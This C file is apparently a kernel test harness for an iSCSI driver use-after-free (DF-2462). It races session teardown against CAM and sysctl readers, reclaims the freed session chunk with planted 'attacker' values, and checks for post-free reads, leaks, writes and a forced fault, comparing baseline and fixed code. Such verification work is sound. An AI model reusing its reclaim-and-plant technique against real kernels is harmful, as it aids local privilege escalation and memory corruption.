/* * DF-2462 verification harness -- POSTAMBLE (df_post.c). * * Fabricates the driver state around the verbatim code (one isc_softc, * one session with real mutexes/queues/registered sysctl OIDs, a * fabricated cam_sim/cdev), then drives the scenarios through a * sysctl control interface: * * sysctl df2462.run=N run scenario N (kernel-side) * sysctl df2462.out print the collected DF2462[...] report * * Scenarios (see README.md): * 0 control: normal ic_action (PATH_INQ) + stats handler on a live * session, then a normal teardown. Everything clean; values are * the A/B reference for the fixed kernel. * 1 in-window concurrent CAM read: ism_stop parked right after * ic_lost_target (sdebug stall), PATH_INQ issued from the runner * thread while sessions[sid] is still != NULL. * 2 UAF READ (CAM): victim parked in verbatim ic_action between * sessions[] lookup (:211) and the sp->opt.maxluns read (:254); * teardown completes (kfree + attacker reclaim); victim resumes * and reads the freed chunk. * 3 UAF READ (sysctl): victim parked inside verbatim isc_dump_stats * before touching sp; teardown completes; victim resumes and the * handler exports freed-chunk contents through SYSCTL_OUT. * 4 UAF WRITE (CAM): victim parked in ic_action, SCSI_IO; teardown * completes; victim resumes: scsi_encap -> dwl + isc_qout -> * i_nqueue_csnd WRITE into the freed (attacker-reclaimed) chunk. * 5 FAULT mode: as 4, but the reclaim leaves garbage queue heads: * the victim's TAILQ_INSERT_TAIL writes through 0xBEBEBEBE... -> * kernel fault (chunk-reused-by-unrelated-allocation case). * 6 unprivileged reachability: teardown parked in-window; the * per-session OIDs are read from USERLAND by an unprivileged * user (run.sh does the reads, then sets df2462.s6done=1). * 7 natural race: create/teardown loop with attacker-reclaim * (garbage isc) while an unprivileged user hammers the stats * OID from userland; a handler that survives into the freed * chunk faults on sc = sp->isc -> 0xAEAE... (panic). */ #include #include #include #include #include /* verbatim statics are defined earlier in this same TU (the concatenated isc_sm.c / isc_cam.c slices); no forward decls needed */ /* the globals iscsivar.h declares (their definitions must follow the verbatim text's extern declarations under -Wredundant-decls) */ int iscsi_debug = 4; struct lock iscsi_dbg_lock; MALLOC_DEFINE(M_ISCSI, "iSCSI", "iSCSI driver (DF-2462 rig)"); /* * The fabricated driver softc. This is the GLOBAL `isc` the FIXED * driver text references (isc_sess_lookup / isc_sess_rele), defined * here; on the baseline tree it is simply a harness-owned global. */ struct isc_softc isc; #define dfh_sc isc /* ------------------------------------------------------------------ */ /* ---- shim bodies (declared by iscsivar.h via the df_pre renames) - */ /* ------------------------------------------------------------------ */ /* STALL-0: park the teardown at isc_sm.c:734 */ void dfh_isc_stop_receiver(isc_session_t *sp) { if (dfh_stall0_armed) { dfh_stall0_armed = 0; dfh_gate_set(&dfh_stop_parked, 1); dfh_gate_wait(&dfh_release_stop, 1, "dfhs0"); dfh_release_stop = 0; } /* the real receiver teardown is not modeled: no receiver runs */ } void dfh_isc_start_receiver(isc_session_t *sp) { /* never called: the verbatim text compiled here has no caller (isc_start_receiver's caller iscsi.c is not in this TU) */ } int dfh_isc_sendPDU(isc_session_t *sp, pduq_t *pq) { return 0; } int dfh_iscsi_requeue(isc_session_t *sp) { return 0; } void dfh_iscsi_async(isc_session_t *sp, pduq_t *pq) { } void dfh_iscsi_reject(isc_session_t *sp, pduq_t *opq, pduq_t *pq) { } void dfh_iscsi_r2t(isc_session_t *sp, pduq_t *opq, pduq_t *pq) { } void dfh_iscsi_done(isc_session_t *sp, pduq_t *opq, pduq_t *pq) { } int dfh_scsi_decap(isc_session_t *sp, pduq_t *opq, pduq_t *pq) { return 0; } int dfh_ic_fullfeature(struct cdev *d) { return 0; } void dfh_iscsi_cleanup(isc_session_t *sp) { } int dfh_i_pdu_flush(isc_session_t *sp) { return 0; } /* ------------------------------------------------------------------ */ /* ---- dfh_kfree body: real free + attacker reclaim of the session - */ /* ------------------------------------------------------------------ */ static void dfh_kfree(void *addr, struct malloc_type *type) { isc_session_t *rs; size_t sz = sizeof(isc_session_t); if (addr == NULL) return; if (addr == (void *)dfh_sp) dfh_free_seen = 1; if (addr != (void *)dfh_sp || dfh_poison_mode == DFH_MODE_STALE) { _kfree(addr, type); return; } /* * The session chunk. Free it for real, then immediately * reclaim it with the same size/type allocation -- the zone's * LIFO behaviour returns the same address -- and fill it as an * attacker-controlled object. */ dfh_poison_hits++; dfh_reclaim = NULL; _kfree(addr, type); rs = kmalloc(sz, M_ISCSI, M_WAITOK | M_ZERO); dfh_reclaim = rs; if ((void *)rs != addr) dfh_outp("DF2462[note] reclaim moved: %p -> %p (continue)\n", addr, rs); if (dfh_poison_mode == DFH_MODE_FIXUP) { /* * Attacker fully controls the former session object: * valid mutexes and queues so the victim's operations * complete silently, chosen field values. */ memset(rs, 0xBE, sz); mtx_init(&rs->rsp_mtx, "dfhb1"); mtx_init(&rs->rsv_mtx, "dfhb2"); mtx_init(&rs->snd_mtx, "dfhb3"); mtx_init(&rs->hld_mtx, "dfhb4"); mtx_init(&rs->io_mtx, "dfhb5"); TAILQ_INIT(&rs->rsp); TAILQ_INIT(&rs->rsv); TAILQ_INIT(&rs->csnd); TAILQ_INIT(&rs->isnd); TAILQ_INIT(&rs->wsnd); TAILQ_INIT(&rs->hld); rs->opt.maxluns = 0x51515151; /* planted: PATH_INQ read */ rs->opt.maxBurstLength = 0; /* pass i_prepPDU check */ rs->hdrDigest = NULL; rs->dataDigest = NULL; rs->target_nluns = 0; /* dwl writes target_lun[0] */ rs->stats.ncsnd = 0x52525252; /* i_nqueue_csnd ++/write */ rs->stats.max_csnd = 0x53535353; rs->stats.nrecv = 0x61616161; /* isc_dump_stats read */ rs->stats.nsent = 0x62626262; rs->flags = 0x50505050; /* isc_dump_stats/isc_qout (0x...50 pattern: ISC_OQNOTEMPTY NOT pre-set, so the isc_qout OR is observable) */ rs->cws = 0x65656565; rs->sn.cmd = 0x66666666; rs->sn.expCmd = 0x67676767; rs->sn.maxCmd = 0x68686868; rs->sn.stat = 0x69696969; rs->sn.itt = 0x6a6a6a6a; if (dfh_plant_garbage_isc) rs->isc = (struct isc_softc *)0xAEAEAEAEAEAEAEAEUL; else rs->isc = &dfh_sc; /* keep stats handler alive */ rs->sid = 0x6b6b6b6b; } else { /* * DFH_MODE_FAULT: chunk reused by an unrelated * allocation whose bytes are garbage. Keep the mutexes * formally valid (so the victim reaches the queue write) * but leave the TAILQ heads at 0xBE... -- the victim's * TAILQ_INSERT_TAIL then writes through a wild pointer: * the realistic kernel fault. */ memset(rs, 0xBE, sz); mtx_init(&rs->snd_mtx, "dfhb3"); mtx_init(&rs->io_mtx, "dfhb5"); mtx_init(&rs->rsp_mtx, "dfhb1"); mtx_init(&rs->rsv_mtx, "dfhb2"); mtx_init(&rs->hld_mtx, "dfhb4"); } } /* control/sysctl nodes (declared before use) */ static SYSCTL_NODE(_debug, OID_AUTO, df2462, CTLFLAG_RD, 0, "DF-2462 verification rig"); static SYSCTL_NODE(_debug_df2462, OID_AUTO, sess, CTLFLAG_RD, 0, "fabricated iscsi sessions"); static struct cam_path *dfh_fake_path = (struct cam_path *)0x1000; /* opaque type: non-NULL sentinel; the xpt_async/xpt_free_path shims never dereference it */ static struct thread *dfh_tstop, *dfh_tvictim; static int dfh_sid = 7; static volatile int dfh_s6done; static volatile int dfh_s7_cycles; static int dfh_s7_ms = 20000; /* forward: resolve the registered per-session stats OID (arg1 differs between baseline (sp) and FIXED (sid) trees) */ static void *dfh_registered_stats_oid(struct sysctl_oid **oidp); /* ---- sysctl_req capture (S0/S3: what the handler exported) ---- */ static int dfh_oldfunc(struct sysctl_req *req, const void *ptr, size_t len) { if (dfh_req_len + len < sizeof(dfh_req_buf)) { memcpy(dfh_req_buf + dfh_req_len, ptr, len); dfh_req_len += len; } return 0; } /* ------------------------------------------------------------------ */ /* ---- fabrication -------------------------------------------------- */ /* ------------------------------------------------------------------ */ static int dfh_inited; static void dfh_fabricate_once(void) { pduq_t *pq; if (dfh_inited) return; dfh_inited = 1; lockinit(&dfh_out_lock, "dfho", 0, 0); lockinit(&dfh_sc.lock, "dfhsc", 0, 0); lockinit(&dfh_sc.pdu_lock, "dfhpd", 0, 0); lockinit(&dfh_sc.cam_lock, "dfhcam", 0, LK_CANRECURSE); TAILQ_INIT(&dfh_sc.isc_sess); TAILQ_INIT(&dfh_sc.freepdu); dfh_sc.oid = &sysctl___debug_df2462_sess; /* si_name is all the verbatim code reads from the cdev */ dfh_fake_dev = kmalloc(sizeof(struct cdev), M_ISCSI, M_WAITOK | M_ZERO); ksnprintf(dfh_fake_dev->si_name, sizeof(dfh_fake_dev->si_name), "iscsi%d", dfh_sid); /* fabricated sim: ic_action reads softc/name/unit/bus */ dfh_sim = kmalloc(sizeof(struct cam_sim), M_ISCSI, M_WAITOK | M_ZERO); dfh_sim->sim_action = ic_action; /* for the record */ dfh_sim->sim_name = "dfhisc"; dfh_sim->softc = &dfh_sc; dfh_sim->unit_number = 0; dfh_sim->bus_id = 0; spin_init(&dfh_sim->sim_spin, "dfhsim"); TAILQ_INIT(&dfh_sim->sim_doneq); /* two real pdus on the freepdu list (pdu_alloc is the real inline) */ dfh_freepdu_store = kmalloc(2 * sizeof(pduq_t), M_ISCSI, M_WAITOK | M_ZERO); pq = (pduq_t *)dfh_freepdu_store; TAILQ_INSERT_TAIL(&dfh_sc.freepdu, pq, pq_link); TAILQ_INSERT_TAIL(&dfh_sc.freepdu, pq + 1, pq_link); } static void dfh_session_create(void) { isc_session_t *sp; dfh_fabricate_once(); sp = kmalloc(sizeof(isc_session_t), M_ISCSI, M_WAITOK | M_ZERO); dfh_sp = sp; dfh_free_seen = 0; dfh_reclaim = NULL; dfh_poison_hits = 0; sp->isc = &dfh_sc; sp->sid = dfh_sid; sp->flags = 0; /* SM_RUN|SM_RUNNING clear: the :740-744 wait loop is skipped deterministically */ sp->dev = dfh_fake_dev; sp->cam_path = dfh_fake_path; sp->opt.maxluns = 3; sp->opt.maxBurstLength = 0; sp->stats.nrecv = 111; sp->stats.nsent = 222; sp->target_nluns = 1; sp->target_lun[0] = 0; sp->opt.targetAddress = kstrdup("10.9.8.7:3260", M_ISCSI); sp->opt.targetName = kstrdup("iqn.2000-05.example.harness:t7", M_ISCSI); sp->opt.initiatorName = kstrdup("iqn.2000-05.example.harness:i", M_ISCSI); /* what verbatim ism_start() would set up (minus the kthread) */ mtx_init(&sp->rsp_mtx, "dfhr1"); mtx_init(&sp->rsv_mtx, "dfhr2"); mtx_init(&sp->snd_mtx, "dfhr3"); mtx_init(&sp->hld_mtx, "dfhr4"); mtx_init(&sp->io_mtx, "dfhr5"); TAILQ_INIT(&sp->rsp); TAILQ_INIT(&sp->rsv); TAILQ_INIT(&sp->csnd); TAILQ_INIT(&sp->isnd); TAILQ_INIT(&sp->wsnd); TAILQ_INIT(&sp->hld); isc_add_sysctls(sp); /* VERBATIM: real OID registration */ lockmgr(&dfh_sc.lock, LK_EXCLUSIVE); TAILQ_INSERT_TAIL(&dfh_sc.isc_sess, sp, sp_link); dfh_sc.nsess++; dfh_sc.sessions[dfh_sid] = sp; lockmgr(&dfh_sc.lock, LK_RELEASE); } static void dfh_teardown_normal(void) { ism_stop(dfh_sp); /* VERBATIM */ } /* ------------------------------------------------------------------ */ /* ---- victim threads ----------------------------------------------- */ /* ------------------------------------------------------------------ */ struct dfh_varg { int func_code; /* XPT_PATH_INQ / XPT_SCSI_IO */ u_int32_t observed_max_lun; u_int32_t observed_status; int observed_error; }; static void dfh_cam_victim(void *arg) { struct dfh_varg *va = arg; union ccb *ccb; ccb = kmalloc(sizeof(union ccb), M_ISCSI, M_WAITOK | M_ZERO); ccb->ccb_h.func_code = va->func_code; ccb->ccb_h.target_id = dfh_sid; ccb->ccb_h.target_lun = 0; ccb->ccb_h.flags = CAM_DIR_IN; if (va->func_code == XPT_SCSI_IO) { ccb->csio.tag_action = MSG_SIMPLE_Q_TAG; ccb->csio.cdb_len = 6; ccb->csio.cdb_io.cdb_bytes[0] = 0x00; /* TEST UNIT READY */ } ic_action(dfh_sim, ccb); /* VERBATIM */ if (va->func_code == XPT_PATH_INQ) va->observed_max_lun = ccb->cpi.max_lun; va->observed_status = ccb->ccb_h.status; _kfree(ccb, M_ISCSI); dfh_gate_set(&dfh_victim_done, 1); kthread_exit(); } static void dfh_stats_victim(void *arg) { struct dfh_varg *va = arg; struct sysctl_req req; struct sysctl_oid *oid; void *arg1; /* * Invoke the verbatim handler exactly the way the sysctl * middleware does: with the arg1 the REGISTERED oid carries * (baseline tree: the raw sp pointer; FIXED tree: the sid). */ arg1 = dfh_registered_stats_oid(&oid); memset(&req, 0, sizeof(req)); req.oldfunc = dfh_oldfunc; dfh_req_len = 0; dfh_req_buf[0] = 0; va->observed_error = isc_dump_stats(oid, arg1, 0, &req); /* VERBATIM */ dfh_gate_set(&dfh_victim_done, 1); kthread_exit(); } static void dfh_stop_thread(void *arg) { ism_stop(dfh_sp); /* VERBATIM */ dfh_gate_set(&dfh_stop_done, 1); kthread_exit(); } static void dfh_join(volatile int *done, const char *wmesg) { int n; for (n = 0; n < 480 && *done == 0; n++) tsleep((void *)(uintptr_t)done, 0, wmesg, hz / 4); *done = 0; } /* * Wait until the teardown thread either finished (BASELINE tree: * ism_stop has no drain, it runs to kfree while the victim is * parked) or is visibly blocked in the FIXED tree's refs drain * (stop_done still 0 after the grace period, session already * detached from sessions[]). */ static void dfh_join_stop_or_drain(void) { int n; for (n = 0; n < 40; n++) { /* up to 10s */ kprintf("DF2462DBG jsd: n=%d stop_done=%d sess=%p\n", n, dfh_stop_done, isc.sessions[dfh_sid]); if (dfh_stop_done) return; if (n >= 8 && isc.sessions[dfh_sid] == NULL) return; /* parked in the drain */ tsleep(&dfh_stop_done, 0, "dfhwd", hz / 4); } } /* wait for the teardown thread to finish (drain releases on FIXED) */ static void dfh_join_stop_long(void) { dfh_join(&dfh_stop_done, "dfhjs2"); } /* ------------------------------------------------------------------ */ /* ---- scenario runner ---------------------------------------------- */ /* ------------------------------------------------------------------ */ static void dfh_run_ccb(int func_code, const char *tag) { union ccb *ccb = kmalloc(sizeof(union ccb), M_ISCSI, M_WAITOK | M_ZERO); ccb->ccb_h.func_code = func_code; ccb->ccb_h.target_id = dfh_sid; ccb->ccb_h.target_lun = 0; ccb->ccb_h.flags = CAM_DIR_IN; if (func_code == XPT_SCSI_IO) { ccb->csio.tag_action = MSG_SIMPLE_Q_TAG; ccb->csio.cdb_len = 6; ccb->csio.cdb_io.cdb_bytes[0] = 0x00; } ic_action(dfh_sim, ccb); /* VERBATIM */ if (func_code == XPT_PATH_INQ) dfh_outp("DF2462[%s] PATH_INQ: status=0x%x max_lun=%d\n", tag, ccb->ccb_h.status, ccb->cpi.max_lun); else dfh_outp("DF2462[%s] SCSI_IO: status=0x%x\n", tag, ccb->ccb_h.status); _kfree(ccb, M_ISCSI); } static int dfh_sysctl_is_stats(struct sysctl_oid *oid) { return oid->oid_handler == (int (*)(SYSCTL_HANDLER_ARGS)) isc_dump_stats; } /* * Find the per-session "stats" OID registered by the verbatim * isc_add_sysctls() and return (oidp, oid_arg1) -- the middleware's * exact invocation arguments (baseline: arg1 = sp; FIXED: arg1 = sid). */ static void * dfh_registered_stats_oid(struct sysctl_oid **oidp) { struct sysctl_oid_list *top = SYSCTL_CHILDREN(isc.oid); struct sysctl_oid *n7, *ch; SLIST_FOREACH(n7, top, oid_link) { if (n7->oid_name != NULL && strcmp(n7->oid_name, "7") == 0) { SLIST_FOREACH(ch, SYSCTL_CHILDREN(n7), oid_link) { if (dfh_sysctl_is_stats(ch)) { *oidp = ch; return ch->oid_arg1; } } } } *oidp = isc.oid; return NULL; } static void dfh_run_stats(const char *tag) { struct sysctl_req req; struct sysctl_oid *oid; void *arg1 = dfh_registered_stats_oid(&oid); memset(&req, 0, sizeof(req)); req.oldfunc = dfh_oldfunc; dfh_req_len = 0; dfh_req_buf[0] = 0; isc_dump_stats(oid, arg1, 0, &req); /* VERBATIM */ dfh_outp("DF2462[%s] stats handler: '%s'\n", tag, dfh_req_buf); } static int dfh_run_scenario(int s) { struct dfh_varg va; isc_session_t *rc; u_int32_t pre_ncsnd = 0, post_ncsnd = 0, pre_flags = 0, post_flags = 0; int pre_nluns = 0, post_nluns = 0, proven; memset(&va, 0, sizeof(va)); switch (s) { case 0: /* -------- control -------- */ dfh_session_create(); dfh_poison_mode = DFH_MODE_STALE; dfh_plant_garbage_isc = 0; dfh_run_ccb(XPT_PATH_INQ, "S0"); dfh_run_stats("S0"); dfh_teardown_normal(); dfh_outp("DF2462[S0] teardown clean: free_seen=%d " "sessions[%d]=%p\n", dfh_free_seen, dfh_sid, dfh_sc.sessions[dfh_sid]); break; case 1: /* -------- in-window concurrent CAM read -------- */ dfh_session_create(); dfh_poison_mode = DFH_MODE_STALE; dfh_plant_garbage_isc = 0; dfh_stall2_armed = 1; kthread_create(dfh_stop_thread, NULL, &dfh_tstop, "dfhst"); dfh_gate_wait(&dfh_stop_parked, 1, "dfhw1"); dfh_stop_parked = 0; dfh_outp("DF2462[S1] teardown parked after ic_lost_target " "(isc_sm.c:752 returned); sessions[%d]=%p still " "set; sp=%p alive\n", dfh_sid, dfh_sc.sessions[dfh_sid], (void *)dfh_sp); dfh_run_ccb(XPT_PATH_INQ, "S1"); dfh_gate_set(&dfh_release_stop, 1); dfh_join(&dfh_stop_done, "dfhj1"); dfh_outp("DF2462[S1] teardown completed: free_seen=%d\n", dfh_free_seen); break; case 2: /* -------- UAF READ via ic_action PATH_INQ -------- */ dfh_session_create(); dfh_poison_mode = DFH_MODE_FIXUP; dfh_plant_garbage_isc = 0; dfh_camstall_armed = 1; va.func_code = XPT_PATH_INQ; kthread_create(dfh_cam_victim, &va, &dfh_tvictim, "dfhcv"); dfh_gate_wait(&dfh_victim_parked, 1, "dfhw2"); dfh_victim_parked = 0; dfh_outp("DF2462[S2] victim parked in ic_action after " "sessions[] lookup (isc_cam.c:211), sp=%p\n", (void *)dfh_sp); /* * Teardown in its own thread: on the BASELINE tree it * completes (kfree + reclaim) while the victim is parked; * on the FIXED tree ism_stop blocks in the refs drain -- * exactly the protection being validated. The gap lets * either state settle before the victim is released. */ kthread_create(dfh_stop_thread, NULL, &dfh_tstop, "dfhst"); tsleep(&dfh_stop_done, 0, "dfhgap", 3 * hz); dfh_outp("DF2462[S2] teardown state after 3s: stop_done=%d " "free_seen=%d reclaimed=%p sessions[%d]=%p\n", dfh_stop_done, dfh_free_seen, dfh_reclaim, dfh_sid, isc.sessions[dfh_sid]); dfh_gate_set(&dfh_release_victim, 1); dfh_join(&dfh_victim_done, "dfhj2"); if (va.observed_max_lun == 0x51515150) dfh_outp("DF2462[S2] *** UAF READ PROVEN: victim read " "sp->opt.maxluns=0x51515151 out of the " "FREED chunk -> cpi.max_lun=0x%x ***\n", va.observed_max_lun); else if (va.observed_max_lun == 2) dfh_outp("DF2462[S2] max_lun=0x2 = LIVE session " "value (the drain held the teardown until " "the victim was done -- the FIXED " "outcome)\n"); else dfh_outp("DF2462[S2] max_lun=0x%x (neither freed " "poison nor live value; inspect)\n", va.observed_max_lun); break; case 3: /* -------- UAF READ via isc_dump_stats -------- */ dfh_session_create(); dfh_poison_mode = DFH_MODE_FIXUP; dfh_plant_garbage_isc = 0; dfh_statsstall_armed = 1; kthread_create(dfh_stats_victim, &va, &dfh_tvictim, "dfhsv"); dfh_gate_wait(&dfh_victim_parked, 1, "dfhw3"); dfh_victim_parked = 0; dfh_outp("DF2462[S3] victim parked inside isc_dump_stats " "before touching sp, sp=%p\n", (void *)dfh_sp); kthread_create(dfh_stop_thread, NULL, &dfh_tstop, "dfhst"); tsleep(&dfh_stop_done, 0, "dfhgap", 3 * hz); dfh_outp("DF2462[S3] teardown state after 3s: stop_done=%d " "free_seen=%d reclaimed=%p\n", dfh_stop_done, dfh_free_seen, dfh_reclaim); dfh_gate_set(&dfh_release_victim, 1); dfh_join(&dfh_victim_done, "dfhj3"); dfh_outp("DF2462[S3] handler exported from FREED chunk: " "'%s' (error=%d)\n", dfh_req_buf, va.observed_error); if (strstr(dfh_req_buf, "flags=0x50505050") != NULL || strstr(dfh_req_buf, "cmd=66666666") != NULL) dfh_outp("DF2462[S3] *** UAF READ/LEAK PROVEN: " "planted attacker values (flags=0x50505050, " "cws/cmd/exp/max/stat/itt 0x65..-0x6a..) from " "the freed chunk surfaced in the sysctl " "output ***\n"); else if (strstr(dfh_req_buf, "recv=111") != NULL) dfh_outp("DF2462[S3] handler exported LIVE values " "(no freed-chunk data surfaced; on the " "FIXED tree this is the expected outcome: " "the drain held the teardown)\n"); break; case 4: /* -------- UAF WRITE via ic_action SCSI_IO -------- */ case 5: /* -------- FAULT: garbage queue heads -------- */ dfh_session_create(); dfh_plant_garbage_isc = 0; dfh_poison_mode = (s == 4) ? DFH_MODE_FIXUP : DFH_MODE_FAULT; dfh_camstall_armed = 1; va.func_code = XPT_SCSI_IO; kthread_create(dfh_cam_victim, &va, &dfh_tvictim, "dfhcv"); dfh_gate_wait(&dfh_victim_parked, 1, "dfhw4"); dfh_victim_parked = 0; dfh_outp("DF2462[S%d] victim parked in ic_action (SCSI_IO) " "holding sp=%p via spriv_ptr0\n", s, (void *)dfh_sp); kthread_create(dfh_stop_thread, NULL, &dfh_tstop, "dfhst"); dfh_join_stop_or_drain(); rc = (isc_session_t *)dfh_reclaim; if (s == 4 && rc == NULL) dfh_outp("DF2462[S4] no reclaim chunk (teardown " "still draining: the FIXED outcome)\n"); if (s == 4 && rc != NULL) { pre_ncsnd = rc->stats.ncsnd; pre_flags = rc->flags; pre_nluns = rc->target_nluns; dfh_outp("DF2462[S4] reclaim snapshot: ncsnd=0x%x " "flags=0x%x nluns=0x%x csnd.first=%p " "lun0=0x%x\n", pre_ncsnd, pre_flags, pre_nluns, rc->csnd.tqh_first, rc->target_lun[0]); } dfh_gate_set(&dfh_release_victim, 1); if (s == 5) { dfh_outp("DF2462[S5] victim released over FAULT " "reclaim; expect kernel fault in " "i_nqueue_csnd's TAILQ_INSERT_TAIL " "(write through 0xBEBEBEBE...)\n"); dfh_join(&dfh_victim_done, "dfhj5"); dfh_join_stop_long(); dfh_outp("DF2462[S5] victim SURVIVED (no fault; " "on the FIXED tree this is the expected " "outcome: the drain held the teardown " "until the victim was done)\n"); break; } dfh_join(&dfh_victim_done, "dfhj4"); dfh_join_stop_long(); kprintf("DF2462DBG S4: joined (rc=%p)\n", rc); if (rc == NULL) { dfh_outp("DF2462[S4] victim used the LIVE session " "(drain held the teardown); no freed " "chunk exists to corrupt\n"); break; } post_ncsnd = rc->stats.ncsnd; post_flags = rc->flags; post_nluns = rc->target_nluns; dfh_outp("DF2462[S4] reclaim after victim: ncsnd=0x%x " "flags=0x%x nluns=0x%x csnd.first=%p lun0=0x%x\n", post_ncsnd, post_flags, post_nluns, rc->csnd.tqh_first, rc->target_lun[0]); proven = 0; if (post_ncsnd == pre_ncsnd + 1) { dfh_outp("DF2462[S4] WRITE#1: sp->stats.ncsnd " "incremented in freed chunk " "(i_nqueue_csnd)\n"); proven = 1; } if (post_flags == (pre_flags | ISC_OQNOTEMPTY) && pre_flags != post_flags) { dfh_outp("DF2462[S4] WRITE#2: sp->flags |= " "ISC_OQNOTEMPTY in freed chunk " "(isc_qout)\n"); proven = 1; } if (rc->csnd.tqh_first != NULL) { dfh_outp("DF2462[S4] WRITE#3: sp->csnd.tqh_first " "set in freed chunk (TAILQ_INSERT_TAIL)\n"); proven = 1; } if (post_nluns == 1 && rc->target_lun[0] == 0) { dfh_outp("DF2462[S4] WRITE#4: sp->target_lun[0] and " "sp->target_nluns written in freed chunk " "(dwl)\n"); proven = 1; } if (proven) dfh_outp("DF2462[S4] *** UAF WRITE PROVEN: verbatim " "CAM path WROTE into the FREED session " "chunk ***\n"); else dfh_outp("DF2462[S4] no post-free writes observed " "(inspect values)\n"); break; case 6: /* -------- unprivileged userland reads in-window -------- */ dfh_session_create(); dfh_poison_mode = DFH_MODE_STALE; dfh_plant_garbage_isc = 0; dfh_stall2_armed = 1; kthread_create(dfh_stop_thread, NULL, &dfh_tstop, "dfhst"); dfh_gate_wait(&dfh_stop_parked, 1, "dfhw6"); dfh_stop_parked = 0; dfh_outp("DF2462[S6] teardown parked; session OIDs still " "registered; run unprivileged reads now, then " "sysctl df2462.s6done=1\n"); dfh_gate_wait(&dfh_s6done, 1, "dfhw6b"); dfh_s6done = 0; dfh_gate_set(&dfh_release_stop, 1); dfh_join(&dfh_stop_done, "dfhj6"); dfh_outp("DF2462[S6] teardown completed after unprivileged " "reads: free_seen=%d\n", dfh_free_seen); break; case 7: { /* ------ natural race, unpriv userland hammer ------ */ int64_t et; int cycles = 0; dfh_session_create(); dfh_plant_garbage_isc = 1; dfh_poison_mode = DFH_MODE_FIXUP; dfh_outp("DF2462[S7] natural race starting: %d ms, " "garbage-isc reclaim; hammer stats from userland " "now\n", dfh_s7_ms); et = ticks + ((int64_t)dfh_s7_ms * hz) / 1000; while (ticks < et) { ism_stop(dfh_sp); /* VERBATIM */ cycles++; /* reclaim chunk from the previous cycle */ if (dfh_reclaim != NULL) { _kfree(dfh_reclaim, M_ISCSI); dfh_reclaim = NULL; } dfh_session_create(); } dfh_s7_cycles = cycles; dfh_plant_garbage_isc = 0; dfh_outp("DF2462[S7] loop done: %d cycles, no panic " "(natural race not observed this run)\n", cycles); break; } default: return EINVAL; } return 0; } /* ------------------------------------------------------------------ */ /* ---- control interface -------------------------------------------- */ /* ------------------------------------------------------------------ */ /* * Scenarios run in a dedicated kernel thread and the control sysctl * NEVER blocks waiting for them: the sysctl middleware holds the * pcpu SHARED sysctllock across sysctl_root() (kern_sysctl.c:1573 * "SYSCTL_SLOCK(); error = sysctl_root(...); SYSCTL_SUNLOCK();"), * and blocking here would deadlock ism_stop's sysctl_ctx_free, which * takes SYSCTL_XLOCK (EXCLUSIVE on every cpu) -- a harness bug we * hit and fixed, not a driver behavior. run.sh polls df2462.busy. */ static volatile int dfh_scenario_busy; static volatile int dfh_scenario_rc; static volatile int dfh_scenario_done; static struct thread *dfh_trunner; static void dfh_runner_thread(void *arg) { int s = (int)(intptr_t)arg; dfh_scenario_rc = dfh_run_scenario(s); dfh_gate_set(&dfh_scenario_done, 1); dfh_scenario_busy = 0; wakeup("dfhrundone"); kthread_exit(); } static int dfh_sysctl_run(SYSCTL_HANDLER_ARGS) { int v = 0, error; error = sysctl_handle_int(oidp, &v, 0, req); kprintf("DF2462DBG run: v=%d error=%d newptr=%p busy=%d trunner=%p\n", v, error, req->newptr ? req->newptr : 0, dfh_scenario_busy, dfh_trunner); if (error != 0 || req->newptr == NULL) return error; if (dfh_scenario_busy) { dfh_outp("DF2462[run] busy: scenario still running\n"); return EBUSY; } if (dfh_trunner != NULL) { /* reap a finished previous runner (interactive S6/S7) */ if (dfh_scenario_done) { dfh_scenario_done = 0; dfh_trunner = NULL; } else { return EBUSY; } } dfh_scenario_done = 0; dfh_scenario_busy = 1; kprintf("DF2462DBG run: starting scenario %d\n", v); kthread_create(dfh_runner_thread, (void *)(intptr_t)v, &dfh_trunner, "dfhrun"); return 0; } static int dfh_sysctl_busy(SYSCTL_HANDLER_ARGS) { int v = dfh_scenario_busy; return sysctl_handle_int(oidp, &v, 0, req); } static int dfh_sysctl_rc(SYSCTL_HANDLER_ARGS) { int v = dfh_scenario_rc; return sysctl_handle_int(oidp, &v, 0, req); } static int dfh_sysctl_out(SYSCTL_HANDLER_ARGS) { return SYSCTL_OUT(req, dfh_out, dfh_out_len); } static int dfh_sysctl_s6done(SYSCTL_HANDLER_ARGS) { int v = 0, error; error = sysctl_handle_int(oidp, &v, 0, req); kprintf("DF2462DBG s6done: v=%d newptr=%p\n", v, req->newptr ? req->newptr : 0); if (error != 0 || req->newptr == NULL) return error; if (v) dfh_gate_set(&dfh_s6done, 1); return 0; } static int dfh_sysctl_s7ms(SYSCTL_HANDLER_ARGS) { int v = dfh_s7_ms, error; error = sysctl_handle_int(oidp, &v, 0, req); if (error != 0 || req->newptr == NULL) return error; dfh_s7_ms = v; return 0; } SYSCTL_PROC(_debug_df2462, OID_AUTO, run, CTLTYPE_INT | CTLFLAG_RW, 0, 0, dfh_sysctl_run, "I", "run scenario"); SYSCTL_PROC(_debug_df2462, OID_AUTO, busy, CTLTYPE_INT | CTLFLAG_RD, 0, 0, dfh_sysctl_busy, "I", "scenario running"); SYSCTL_PROC(_debug_df2462, OID_AUTO, rc, CTLTYPE_INT | CTLFLAG_RD, 0, 0, dfh_sysctl_rc, "I", "last scenario return code"); SYSCTL_PROC(_debug_df2462, OID_AUTO, out, CTLTYPE_STRING | CTLFLAG_RD, 0, 0, dfh_sysctl_out, "A", "collected report"); SYSCTL_PROC(_debug_df2462, OID_AUTO, s6done, CTLTYPE_INT | CTLFLAG_RW, 0, 0, dfh_sysctl_s6done, "I", "S6 userland reads done"); SYSCTL_PROC(_debug_df2462, OID_AUTO, s7ms, CTLTYPE_INT | CTLFLAG_RW, 0, 0, dfh_sysctl_s7ms, "I", "S7 duration (ms)");